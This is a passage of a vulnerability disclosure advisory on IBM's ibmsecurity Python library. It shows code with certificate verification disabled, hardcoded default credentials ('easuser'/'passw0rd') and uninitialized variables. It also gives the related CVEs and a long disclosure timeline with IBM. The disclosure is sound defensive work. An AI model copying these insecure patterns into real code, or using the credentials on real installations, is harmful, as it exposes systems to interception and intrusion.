<span style="color: #666666">555</span>             r <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>session<span style="color: #666666">.</span>request(method, url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri), verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, <span style="color: #666666">**</span>args)
</pre></div>

<p>Content of <code>ibmsecurity/appliance/isdsappliance.py</code> (line 254):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
<span style="color: #666666">228</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">invoke_get_file</span>(<span style="color: #008000">self</span>, description, uri, filename, no_headers<span style="color: #666666">=</span><span style="color: #008000">False</span>, ignore_error<span style="color: #666666">=</span><span style="color: #008000">False</span>, requires_modules<span style="color: #666666">=</span><span style="color: #008000">None</span>,
<span style="color: #666666">229</span>                         requires_version<span style="color: #666666">=</span><span style="color: #008000">None</span>, warnings<span style="color: #666666">=</span>[]):
<span style="color: #666666">230</span>         <span style="color: #BA2121">&quot;&quot;&quot; </span>
<span style="color: #BA2121">231         Invoke a GET request and download the response data to a file</span>
<span style="color: #BA2121">232         &quot;&quot;&quot;</span> 
<span style="color: #666666">...</span>
<span style="color: #666666">251</span>         <span style="color: #008000">self</span><span style="color: #666666">.</span>_suppress_ssl_warning()
<span style="color: #666666">252</span> 
<span style="color: #666666">253</span>         <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">254</span>             r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>get(url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri<span style="color: #666666">=</span>uri), auth<span style="color: #666666">=</span>(<span style="color: #008000">self</span><span style="color: #666666">.</span>user<span style="color: #666666">.</span>username, <span style="color: #008000">self</span><span style="color: #666666">.</span>user<span style="color: #666666">.</span>password), verify<span style="color: #666666">=</span><span style="color: #008000">False</span>,
<span style="color: #666666">255</span>                              stream<span style="color: #666666">=</span><span style="color: #008000">True</span>, headers<span style="color: #666666">=</span>headers)
</pre></div>

<p>Vulnerable functions identified in <code>ibmsecurity/appliance/isdsappliance.py</code>:</p>
<ul>
<li>invoke_post_files vulnerability present on line 170;</li>
<li>invoke_put_files vulnerability present on line 214;</li>
<li>invoke_get_file vulnerability present on line 254;</li>
<li>_invoke_request vulnerabilities present on lines 322, 325 and 329;</li>
</ul>
<p>Vulnerable functions identified in <code>ibmsecurity/appliance/isamappliance.py</code>:</p>
<ul>
<li>invoke_post_files vulnerabilities present on lines 187 and 189;</li>
<li>invoke_put_files vulnerability present on line 232;</li>
<li>invoke_get_file vulnerability present on line 272;</li>
<li>_invoke_request vulnerabilities present on lines 338, 340 and 343;</li>
<li>_invoke_request_with_headers vulnerabilities present on lines 383, 385 and 388;</li>
<li>invoke_post_snapshot_id vulnerability present on line 453;</li>
<li>invoke_request vulnerability present on line 553.</li>
</ul>
<p>The vulnerable library can also be found in Github (<a href="https://github.com/IBM-Security/ibmsecurity/blob/master/ibmsecurity/appliance/isamappliance.py#L187">https://github.com/IBM-Security/ibmsecurity/blob/master/ibmsecurity/appliance/isamappliance.py#L187</a>):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>        <span style="color: #008000; font-weight: bold">try</span>:
            <span style="color: #008000; font-weight: bold">if</span> data_as_files <span style="color: #AA22FF; font-weight: bold">is</span> <span style="color: #008000">False</span>:
                r <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>session<span style="color: #666666">.</span>post(url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri<span style="color: #666666">=</span>uri), data<span style="color: #666666">=</span>data, files<span style="color: #666666">=</span>files, verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, headers<span style="color: #666666">=</span>headers)
            <span style="color: #008000; font-weight: bold">else</span>:
                r <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>session<span style="color: #666666">.</span>post(url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri<span style="color: #666666">=</span>uri), files<span style="color: #666666">=</span>files, verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, headers<span style="color: #666666">=</span>headers)
</pre></div>

<p>The ibmsecurity Python library massively uses insecure methods to communicate with the remote ISVA infrastructure, with 1162 calls to insecure functions.</p>
<p><a id="hardcoded-passwords"></a></p>
<h2>Details - Hardcoded passwords</h2>
<p>It was observed that the ibmsecurity library contains hardcoded users and passwords:</p>
<p>Content of <code>ibmsecurity/isam/web/reverse_proxy/federation_configuration.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
<span style="color: #666666">7</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">config</span>(isamAppliance, instance_id, federation_id<span style="color: #666666">=</span><span style="color: #008000">None</span>, federation_name<span style="color: #666666">=</span><span style="color: #008000">None</span>, hostname<span style="color: #666666">=</span><span style="color: #BA2121">&#39;127.0.0.1&#39;</span>,
  port<span style="color: #666666">=</span><span style="color: #BA2121">&#39;443&#39;</span>, username<span style="color: #666666">=</span><span style="color: #BA2121">&#39;easuser&#39;</span>,
<span style="color: #666666">8</span> password<span style="color: #666666">=</span><span style="color: #BA2121">&#39;passw0rd&#39;</span>, reuse_certs<span style="color: #666666">=</span><span style="color: #008000">False</span>, reuse_acls<span style="color: #666666">=</span><span style="color: #008000">False</span>, check_mode<span style="color: #666666">=</span><span style="color: #008000">False</span>, force<span style="color: #666666">=</span><span style="color: #008000">False</span>):
<span style="color: #666666">...</span>
</pre></div>

<p>Similar vulnerabilities can be found in the source codes.</p>
<p>For example, in the method <code>invoke_request()</code> inside <code>ibmsecurity/appliance/isamappliance.py</code> and <code>invoke_get_file()</code> inside <code>ibmsecurity/appliance/isdsappliance.py</code>, we can find hardcoded credentials:</p>
<p>Content of <code>ibmsecurity/isam/web/reverse_proxy/oauth_configuration.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
<span style="color: #666666">10</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">config</span>(isamAppliance, instance_id, hostname<span style="color: #666666">=</span><span style="color: #BA2121">&#39;127.0.0.1&#39;</span>, port<span style="color: #666666">=443</span>, username<span style="color: #666666">=</span><span style="color: #BA2121">&#39;easuser&#39;</span>, password<span style="color: #666666">=</span><span style="color: #BA2121">&#39;passw0rd&#39;</span>,
<span style="color: #666666">11</span> junction<span style="color: #666666">=</span><span style="color: #BA2121">&quot;/mga&quot;</span>, reuse_certs<span style="color: #666666">=</span><span style="color: #008000">False</span>, reuse_acls<span style="color: #666666">=</span><span style="color: #008000">False</span>, api<span style="color: #666666">=</span><span style="color: #008000">False</span>, browser<span style="color: #666666">=</span><span style="color: #008000">False</span>, auth_register<span style="color: #666666">=</span><span style="color: #008000">None</span>, fapi_compliant<span style="color: #666666">=</span><span style="color: #008000">None</span>,
<span style="color: #666666">12</span> check_mode<span style="color: #666666">=</span><span style="color: #008000">False</span>, force<span style="color: #666666">=</span><span style="color: #008000">False</span>):
<span style="color: #666666">...</span>
</pre></div>

<p>Content of <code>ibmsecurity/isam/web/reverse_proxy/aac_configuration.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
<span style="color: #666666">9</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">config</span>(isamAppliance, instance_id, hostname<span style="color: #666666">=</span><span style="color: #BA2121">&#39;127.0.0.1&#39;</span>, port<span style="color: #666666">=443</span>, username<span style="color: #666666">=</span><span style="color: #BA2121">&#39;easuser&#39;</span>, password<span style="color: #666666">=</span><span style="color: #BA2121">&#39;passw0rd&#39;</span>,
<span style="color: #666666">10</span> junction<span style="color: #666666">=</span><span style="color: #BA2121">&quot;/mga&quot;</span>, reuse_certs<span style="color: #666666">=</span><span style="color: #008000">False</span>, reuse_acls<span style="color: #666666">=</span><span style="color: #008000">False</span>, check_mode<span style="color: #666666">=</span><span style="color: #008000">False</span>, force<span style="color: #666666">=</span><span style="color: #008000">False</span>):
<span style="color: #666666">...</span>
</pre></div>

<p>Attacker can use hardcoded passwords to compromise installations.</p>
<p><a id="uninitialized-variables"></a></p>
<h2>Details - Uninitialized variables</h2>
<p>It was observed that the ibmsecurity library uses variables before they are initialized in:</p>
<ul>
<li>ibmsecurity/isam/aac/attribute_matchers.py</li>
<li>ibmsecurity/isam/aac/risk_profiles.py</li>
</ul>
<p>The <code>json_data</code> variable is used on line 106 but is only defined on line 108:</p>
<p>Content of <code>ibmsecurity/isam/aac/attribute_matchers.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
 <span style="color: #666666">98</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">_check</span>(isamAppliance, description, properties):
 <span style="color: #666666">99</span>     <span style="color: #BA2121">&quot;&quot;&quot;</span>
<span style="color: #BA2121">100     Check and return True if update needed</span>
<span style="color: #BA2121">101     &quot;&quot;&quot;</span>
<span style="color: #666666">102</span>     update_required <span style="color: #666666">=</span> <span style="color: #008000">False</span>
<span style="color: #666666">103</span>     ret_obj <span style="color: #666666">=</span> get(isamAppliance, description)
<span style="color: #666666">104</span>     <span style="color: #008000; font-weight: bold">if</span> ret_obj[<span style="color: #BA2121">&#39;data&#39;</span>] <span style="color: #666666">==</span> {}:
<span style="color: #666666">105</span>         logger<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;Attribute Matcher not found, returning no update required.&quot;</span>)
<span style="color: #666666">106</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">None</span>, update_required, json_data
<span style="color: #666666">107</span>     <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">108</span>         json_data <span style="color: #666666">=</span> {
<span style="color: #666666">109</span>             <span style="color: #BA2121">&quot;properties&quot;</span>: properties,
<span style="color: #666666">110</span>             <span style="color: #BA2121">&quot;predefined&quot;</span>: ret_obj[<span style="color: #BA2121">&#39;data&#39;</span>][<span style="color: #BA2121">&#39;predefined&#39;</span>],
<span style="color: #666666">111</span>             <span style="color: #BA2121">&quot;supportedDatatype&quot;</span>: ret_obj[<span style="color: #BA2121">&#39;data&#39;</span>][<span style="color: #BA2121">&#39;supportedDatatype&#39;</span>],
<span style="color: #666666">112</span>             <span style="color: #BA2121">&quot;uri&quot;</span>: ret_obj[<span style="color: #BA2121">&#39;data&#39;</span>][<span style="color: #BA2121">&#39;uri&#39;</span>]
<span style="color: #666666">113</span>         }
<span style="color: #666666">...</span>
</pre></div>

<p>Content of <code>ibmsecurity/isam/aac/risk_profiles.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
<span style="color: #666666">152</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">_check</span>(isamAppliance, name, active, description, attributes, predefined):
<span style="color: #666666">153</span>     <span style="color: #BA2121">&quot;&quot;&quot;</span>
<span style="color: #BA2121">154     Check and return True if update needed</span>
<span style="color: #BA2121">155     &quot;&quot;&quot;</span>
<span style="color: #666666">156</span>     update_required <span style="color: #666666">=</span> <span style="color: #008000">False</span>
<span style="color: #666666">157</span>     ret_obj <span style="color: #666666">=</span> get(isamAppliance, name)
<span style="color: #666666">158</span>     <span style="color: #008000; font-weight: bold">if</span> ret_obj[<span style="color: #BA2121">&#39;data&#39;</span>] <span style="color: #666666">==</span> {}:
<span style="color: #666666">159</span>         logger<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;Risk Profile not found, returning no update required.&quot;</span>)
<span style="color: #666666">160</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">None</span>, update_required, json_data
<span style="color: #666666">161</span>     <span style="color: #008000; font-weight: bold">else</span>:   
<span style="color: #666666">162</span>         <span style="color: #008000; font-weight: bold">if</span> ret_obj[<span style="color: #BA2121">&#39;data&#39;</span>][<span style="color: #BA2121">&#39;predefined&#39;</span>] <span style="color: #AA22FF; font-weight: bold">is</span> <span style="color: #008000">True</span>:
<span style="color: #666666">163</span>             logger<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;Predefined Risk Profiles can NOT be updated, returning no update required.&quot;</span>)
<span style="color: #666666">164</span>             <span style="color: #008000; font-weight: bold">return</span> ret_obj[<span style="color: #BA2121">&#39;data&#39;</span>][<span style="color: #BA2121">&#39;id&#39;</span>], update_required, {}
<span style="color: #666666">165</span>         <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">166</span>             json_data <span style="color: #666666">=</span> {
<span style="color: #666666">167</span>                 <span style="color: #BA2121">&quot;name&quot;</span>: name,
<span style="color: #666666">168</span>                 <span style="color: #BA2121">&quot;active&quot;</span>: active,
<span style="color: #666666">169</span>                 <span style="color: #BA2121">&quot;predefined&quot;</span>: predefined
<span style="color: #666666">170</span>             }
<span style="color: #666666">171</span>             <span style="color: #008000; font-weight: bold">if</span> attributes <span style="color: #AA22FF; font-weight: bold">is</span> <span style="color: #AA22FF; font-weight: bold">not</span> <span style="color: #008000">None</span>:
<span style="color: #666666">172</span>                 json_data[<span style="color: #BA2121">&#39;attributes&#39;</span>] <span style="color: #666666">=</span> attributes
<span style="color: #666666">...</span>
</pre></div>

<p>The Python code can crash.</p>
<h2>Vendor Response</h2>
<p>IBM provided a security bulletin:</p>
<p><a href="https://www.ibm.com/support/pages/node/7147932">Security Bulletin: Multiple Security Vulnerabilities were found in Open Source libraries used to deploy IBM Security Verify Access Appliances (CVE-2024-31871, CVE-2024-31872, CVE-2024-31873, CVE-2024-31874)</a>:</p>
<ul>
<li>CVE-2024-31871: IBM Security Verify Access Appliance could allow a malicious actor to conduct a man in the middle attack when deploying Python scripts due to improper certificate validation.</li>
<li>CVE-2024-31872: IBM Security Verify Access Appliance could allow a malicious actor to conduct a man in the middle attack when deploying Open Source scripts due to missing certificate validation.</li>
<li>CVE-2024-31873: IBM Security Verify Access Appliance contains hard-coded credentials which it uses for its own inbound authentication that could be obtained by a malicious actor.</li>
<li>CVE-2024-31874: IBM Security Verify Access Appliance uses uninitialized variables when deploying that could allow a local user to cause a denial of service.</li>
</ul>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<p>This security assessment was reported to IBM along with the security assessment of IBM Security Verify Access. Please find the complete timeline below:</p>
<ul>
<li>October 2022: Security assessment performed on IBM Security Verify Access.</li>
<li>Feb 12, 2023: A complete report was sent to IBM.</li>
<li>Feb 13, 2023: IBM acknowledged the reception of the security assessment and said that scan tools usually report a lot of issues so I have to check the status of detected CVEs by browsing RedHat webpages and create an issue for each CVE.</li>
<li>Feb 13, 2023: Replied to IBM saying that the security assessment was not done using a scanner.</li>
<li>Feb 14, 2023: Asked for an update.</li>
<li>Feb 14, 2023: IBM confirmed that the report was shared with L3 and "IBM hacking team".</li>
<li>Feb 22, 2023: IBM said they were still assessing the report.</li>
<li>Mar 13, 2023: An additional report on ibmsecurity was sent to IBM.</li>
<li>Mar 13, 2023: IBM confirmed that the second report was shared with L3 team.</li>
<li>Mar 15, 2023: IBM wanted to organize a meeting about the findings.</li>
<li>Mar 15, 2023: I replied that I would like to have a written feedback for each reported vulnerability in order to have constructive discussion.</li>
<li>Apr 4, 2023: I asked again IBM to confirm the vulnerabilities</li>
<li>Apr 5, 2023: IBM shared the analysis (VulnerabilityResponse.xlsx), confirming several vulnerabilities.</li>
<li>Apr 11, 2023: I provided my comments (VulnerabilityResponse-comments-Pierre.xlsx) and asked to organize a meeting.</li>
<li>Apr 11, 2023: IBM confirmed a meeting is possible.</li>
<li>Apr 18, 2023: I asked to organize a meeting on Apr 19, 2023.</li>
<li>Apr 18, 2023: IBM confirmed a meeting is possible.</li>
<li>Apr 19, 2023: I asked to have a meeting where every party (dev team, support and myself) can be present.</li>
<li>Apr 19, 2023: IBM confirmed a meeting would take place on Apr 20, 2023.</li>
<li>Apr 20, 2023: Meeting with IBM regarding ISVA. IBM confirmed they would recheck some of the issues and would provide CVEs for the vulnerabilities.</li>
<li>Apr 23, 2023: I asked to have a second meeting about ibmsecurity.</li>
<li>Apr 23, 2023: IBM confirmed they will organize a meeting on ibmsecurity.</li>
<li>Apr 24, 2023: I asked the timeline to get security patches.</li>
<li>Apr 24, 2023: IBM confirmed there are no ETA to get security patches.</li>
<li>Apr 27, 2023: Meeting with IBM regarding ibmsecurity. IBM confirmed they will fix all the issues.</li>
<li>May 10, 2023: I asked for CVE identifiers to track the vulnerabilities.</li>
<li>May 11, 2023: IBM said that PSIRT records have been opened and the scoring is in progress.</li>
<li>May 15, 2023: I reached IBM because I found a CVE (CVE-2023-25927) and a security bulletin likely corresponding to a vulnerability I reported, thanks to <a href="https://twitter.com/CVEnew">@CVEnew</a> on Twitter: <a href="https://www.ibm.com/support/pages/node/6989653">https://www.ibm.com/support/pages/node/6989653</a>. I asked if this was one of the reported vulnerabilities.</li>
<li>Jul 7, 2023: IBM said the dev team was still working on the final list of issues and that everything would be fixed in the 10.0.7 release.</li>
<li>Jul 10, 2023: I asked when the 10.0.7 release would be available. I asked again more details about the previous advisory.</li>
<li>Jul 11, 2023: IBM said that the 10.0.7 release would be published on Dec 23, 2023. Regarding the CVEs, IBM replied they would need to discuss with the dev team.</li>
<li>Jul 12, 2023: I asked IBM to confirm if CVE-2023-25927 was one of the reported vulnerabilities.</li>
<li>Jul 12, 2023: IBM said that they do not credit security researchers.</li>
<li>Jul 13, 2023: I provided several IBM security bulletins where security researchers were credited, e.g. <a href="https://www.ibm.com/support/pages/security-bulletin-vulnerabilities-exist-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430">https://www.ibm.com/support/pages/security-bulletin-vulnerabilities-exist-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430</a>.</li>
<li>Jul 14, 2023: IBM confirmed that they would forward the information to L3 team and asked what I would want to do with this case.</li>
<li>Jul 14, 2023: I said that (1) I was still waiting for information about CVE-2023-25927, (2) I did not have any information regarding security patches for ibmsecurity and (3) I asked IBM to provide me with the final list of vulnerabilities that would be patched in the 10.0.7. Since the list of confirmed vulnerabilities was quite long, I wanted to confirm that nothing was missed.</li>
<li>Jul 28, 2023: IBM said that they did not know if CVE-2023-25927 is one of the reported vulnerabilities and in any case, it is impossible to edit the security bulletin and give credits.</li>
<li>Aug 16, 2023: IBM asked if additional assistance was required [NB: IBM likely wanted to close this ticket while no security patches were published].</li>
<li>Aug 17, 2023: I asked again information about ibmsecurity and CVE-2023-25927.</li>
<li>Oct 20, 2023: IBM said they were still analysing the requests (final list of patched vulnerabilties, security patches of ibmsecurity and status of CVE-2023-25927).</li>
<li>Oct 25, 2023: IBM asked to organize a meeting.</li>
<li>Oct 25, 2023: I replied that I was still waiting for the final list of vulnerabilities that would be fixed in version 10.0.7. There was also no information regarding security patches for ibmsecurity.</li>
<li>Oct 25, 2023: IBM replied they wanted to discuss about the vulnerabilities in a meeting.</li>
<li>Oct 29, 2023: IBM asked to organize a meeting again.</li>
<li>Oct 30, 2023: I accepted the meeting and I asked IBM to provide the list of vulnerabilities that would be patched with their current status. I also asked the status of ibmsecurity.</li>
<li>Oct 30, 2023: IBM asked to have a meeting on Nov 7, 2023.</li>
<li>Nov 2, 2023: I confirmed my presence to the meeting.</li>
<li>Nov 5, 2023: IBM confirmed the meeting.</li>
<li>Nov 7, 2023: Meeting with IBM. IBM provided me with a new report containing new feedbacks for several vulnerabilities. Also IBM confirmed that several vulnerabilities would be patched in 2024 and ibmsecurity would be patched in December 2023. IBM asked me to review a specific vulnerability that appears to be invalid (<em>V-[REDACTED] - Insecure SSLv3 connections to the DSC servers</em>).</li>
<li>Nov 21, 2023: IBM asked me to review the new report shared by IBM.</li>
<li>Nov 28, 2023: IBM asked for updates.</li>
<li>Dec 4, 2023: I answered that I did not have anymore access to the test infrastructure and IBM had to wait for my analysis until I get again access to the test infrastructure.</li>
<li>Dec 4, 2023: IBM asked me to check the vulnerabilities as soon as possible.</li>
<li>Dec 21, 2023: I got access to a test infrastructure and reviewed some vulnerabilities.</li>
<li>Dec 21, 2023: I sent a new analysis to IBM, containing details of 4 vulnerabilities.</li>
<li>Dec 27, 2023: IBM confirmed the reception of the new analysis.</li>
<li>Jan 15, 2024: IBM asked me to update ISVA and recheck all the vulnerabilities.</li>
<li>Jan 16, 2024: I asked IBM if ibmsecurity was also patched.</li>
<li>Jan 16, 2024: IBM confirmed that a new case must be opened for ibmsecurity to get security patches(!).</li>
<li>Jan 22, 2024: IBM wanted to organize a new meeting.</li>
<li>Jan 22, 2024: I replied that I failed to understand the issue with the ibmsecurity library and that I had a written confirmation by IBM that security patches would be provided. The vulnerabilities found in ibmsecurity were reported in March 2023 (10 months ago).</li>
<li>Jan 22, 2024: I informed IBM that I discovered(!) a new security bulletin thanks to <a href="https://twitter.com/CVEnew">@CVEnew</a>: <a href="https://www.ibm.com/support/pages/node/7106586">https://www.ibm.com/support/pages/node/7106586</a>, but only 15 vulnerabilities were listed instead of the 35 vulnerabilities confirmed by IBM. I asked IBM to clarify the situation as it looked like less than half of vulnerabilities were indeed patched.</li>
<li>Jan 24, 2024: IBM created a new case for ibmsecurity.</li>
<li>Jan 29, 2024: IBM confirmed that 5 vulnerabilities had not been patched in the latest version (10.0.7).</li>
<li>Jan 29, 2024: I reached IBM to get the status of 15 unpatched vulnerabilities. I provided the updated analysis to IBM.</li>
<li>Feb 7, 2024: IBM confirmed that some of the vulnerabilities were "being processed" and that some of vulnerabilities had been also silently patched and no security bulletins had been published.</li>
<li>Feb 20, 2024: IBM asked for updates.</li>
<li>Feb 20, 2024: I asked when would be the release date for ISVA 10.0.8 and the complete list of vulnerabilities that would be patched in this release.</li>
<li>Feb 20, 2024: IBM confirmed that the 10.0.8 release would be published in mid-2024.</li>
<li>Feb 23, 2024: I sent a new vulnerability to IBM "Authentication Bypass on IBM Security Verify Runtime".</li>
<li>Feb 23, 2024: IBM confirmed the reception of the vulnerability and asked to close the ticket.</li>
<li>Feb 23, 2024: I said that since some vulnerabilities had not been patched, the ticket must stay open.</li>
<li>Feb 23, 2024: IBM said that they cannot keep the ticket open and they needed to close it.</li>
<li>Feb 23, 2024: I explained that the vulnerabilities were reported over a year ago and IBM confirmed they had not fully fixed in the latest version and that some vulnerabilities were also still under evaluation. I said that I would agree to close this ticket if IBM could confirm that all vulnerabilities reported in the ticket had been correctly fixed in the latest version. I also asked IBM to provide the corresponding security bulletins.</li>
<li>Feb 27, 2024: Regarding the authentication bypass, IBM replied that the runtime was supposed to be in the intranet zone.</li>
<li>Feb 28, 2024: I asked IBM to clarify where in the documentation specified that the runtime should not be exposed. For example, in <a href="https://www.ibm.com/docs/en/sva/10.0.7?topic=support-docker-image-verify-access-runtime">https://www.ibm.com/docs/en/sva/10.0.7?topic=support-docker-image-verify-access-runtime</a>, it was not explained that exposing this runtime on the network was a high security risk.</li>
<li>Mar 4, 2024: Regarding the vulnerabilities found in ibmsecurity, IBM said that any security vulnerability found in ibmsecurity must be reported by opening an issue in the Github repository.</li>
<li>Mar 8, 2024: IBM confirmed they were able to reproduce the authentication bypass vulnerability.</li>
<li>Mar 12, 2024: IBM confirmed they would add an optional MTLS authentication in the next release (10.0.8) and they would update the ISVA documentation to block any attempt of the authentication bypass vulnerability.</li>
<li>Mar 29, 2024: IBM published a new security bulletin: <a href="https://www.ibm.com/support/pages/node/7145400">https://www.ibm.com/support/pages/node/7145400</a>.</li>
<li>Mar 29, 2024: IBM confirmed that any security vulnerability found in ibmsecurity must be reported by opening an issue in the Github repository.</li>
<li>Apr 1, 2024: Creation of <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">https://github.com/IBM-Security/ibmsecurity/issues/416</a>.</li>
<li>Apr 2, 2024: IBM confirmed the reception of the report <a href="https://github.com/IBM-Security/ibmsecurity/issues/416#issuecomment-2032110397">https://github.com/IBM-Security/ibmsecurity/issues/416#issuecomment-2032110397</a>.</li>
<li>Apr 3, 2024: <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">https://github.com/IBM-Security/ibmsecurity/issues/416</a> was entirely redacted by IBM.</li>
<li>Apr 5, 2024: I asked if the vulnerabilities would be patched in the <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">#416 issue</a>.</li>
<li>Apr 6, 2024: Issue <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">#416</a> closed.</li>
<li>Apr 6, 2024: I added again the content of <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">https://github.com/IBM-Security/ibmsecurity/issues/416</a> and asked if CVEs would be published.</li>
<li>Apr 10, 2024: Security bulletin for ibm security published: <a href="https://www.ibm.com/support/pages/node/7147932">https://www.ibm.com/support/pages/node/7147932</a>.</li>
<li>Apr 10, 2024: I reached IBM regarding a new security bulletin, with a potential vulnerability I reported <a href="https://www.ibm.com/support/pages/node/7145828">https://www.ibm.com/support/pages/node/7145828</a>.</li>
<li>Apr 10, 2024: IBM said this security bulletin was unrelated to the vulnerabilities I reported.</li>
<li>Apr 15, 2024: IBM confirmed that the final vulnerabilities would be fixed in ISVA 10.0.8.</li>
<li>Apr 15, 2024: I provided a list of unfixed vulnerabilities and asked for more information.</li>
<li>Apr 16, 2024: IBM confirmed that all the unfixed vulnerabilities would be fixed in ISVA 10.0.8 and asked to close the ticket.</li>
<li>Apr 16, 2024: I confirmed that this ticket can be closed only when the security patches are available.</li>
<li>Apr 16, 2024: IBM confirmed they wanted to close the ticket because nothing would be updated before mid-2024.</li>
<li>Apr 17, 2024: I replied that "It makes no sense to close this ticket until the vulnerabilities have been fixed. The fact that the vulnerabilities are fixed mid-year is a decision made by IBM. IBM was made aware of these vulnerabilities over a year ago, and yet we are still waiting for security patches. If this ticket is closed, I would consider that the vulnerabilities have been fixed and it is perfectly fine to publish the technical analysis."</li>
<li>May 6, 2024: IBM closed the existing ticket and opened new tickets for the remaining vulnerabilities.</li>
<li>May 6, 2024: I contacted IBM PSIRT asking if it was fine to publish the vulnerabilities since the ticket was closed by IBM.</li>
<li>May 7, 2024: I reopened the ticket stating that some of the patched vulnerabilities did not receive a CVE and there were also some unpatched vulnerabilities. I asked IBM to provide me with the CVE assigned to each vulnerability. I also asked IBM to confirm that, since this ticket had been closed by IBM, all the vulnerabilities had been fixed and that I would be able to publish the technical details.</li>
<li>May 8, 2024: IBM said they would review the list of vulnerabilities.</li>
<li>May 10, 2024: IBM PSIRT asked me not to publish technical details of unpatched vulnerabilities.</li>
<li>May 17, 2024: IBM provided me with an incomplete list of CVEs, with different vulnerabilities under the same CVE identifier and asked to close the ticket.</li>
<li>May 20, 2024: IBM asked for my comments on the list of CVEs.</li>
<li>May 20, 2024: I confirmed that several CVEs were missing and the list was incomplete.</li>
<li>May 21, 2024: IBM provided me with an explanation regarding the missing CVEs.</li>
<li>May 21, 2024: I asked IBM to quote their explanation in the security advisory.</li>
<li>May 21, 2024: IBM asked to have a meeting.</li>
<li>May 22, 2024: I replied that I would prefer written communication since it was very difficult to track the status of the vulnerabilities with (1) CVEs obtained only several months after the release of security bulletins, (2) tickets closed by IBM for unpatched vulnerabilities, (3) vulnerabilities in ibmsecurity which could be corrected by IBM and which could then no longer be managed by IBM, and (4) missing CVEs.</li>
<li>May 22, 2024: IBM asked to have a meeting to remove any confusion.</li>
<li>May 23, 2024: I replied that there's not much confusion except missing CVEs for silently patched vulnerabilities and lack of communication from IBM when releasing security patches. I asked IBM to share the CVEs with the corresponding vulnerabilities and indicate the security bulletins with the list of corresponding vulnerabilities.</li>
<li>May 24, 2024: IBM stated they would provide me with additional CVEs.</li>
<li>May 30, 2024: I confirmed that the creation of additional CVEs is fair.</li>
<li>Jun 2, 2024: IBM confirmed 3 new CVEs in a new security bulletin: <a href="https://www.ibm.com/support/pages/node/7155356">https://www.ibm.com/support/pages/node/7155356</a>.</li>
<li>Jun 3, 2024: I asked IBM the release date of the 10.0.8 version.</li>
<li>Jun 3, 2024: IBM confirmed that the exact date was not yet decided.</li>
<li>Jun 6, 2024: IBM asked if I had comments about the remaining vulnerabilities.</li>
<li>Jun 8, 2024: I asked IBM the status of a previously patched vulnerability.</li>
<li>Jun 10, 2024: IBM confirmed that this vulnerability had not been previously patched and would be patched in the 10.0.8 release.</li>
<li>Jun 11, 2024: IBM asked to create separate cases for the remaining vulnerabilities.</li>
<li>Jun 19, 2024: IBM asked if I needed assistance.</li>
<li>Jun 23, 2024: IBM confirmed that the 10.0.8 version was released and that they would close the ticket tracking the vulnerabilities.</li>
<li>Jun 26, 2024: I asked IBM to provide the corresponding CVEs and the link of the security bulletin.</li>
<li>Jun 27, 2024: IBM provided me with the link to the security bulletin: <a href="https://www.ibm.com/support/pages/node/7158790">https://www.ibm.com/support/pages/node/7158790</a> and said that the 10.0.8 version was released with all the patched vulnerabilities. IBM closed the ticket.</li>
<li>Jul 3, 2024: I reopened the ticket and asked IBM to provide me with the list of vulnerabilities with the corresponding CVEs since I was not able to correctly map the CVEs to the vulnerabilities I reported.</li>
<li>Jul 8, 2024: IBM provided me with the list of CVEs. IBM closed the ticket.</li>
<li>Sep 7, 2024: I sent an email to IBM PSIRT stating that I was going to publish the security advisory and that some CVEs were still missing. I also stated that CVE-2023-38371 seemed to be an error since it was confirmed not to be a vulnerability according to our previous email exchanges.</li>
<li>Sep 9, 2024: I asked IBM to provide me with an official link regarding the runtime authentication bypass, to publish it in the security advisory.</li>
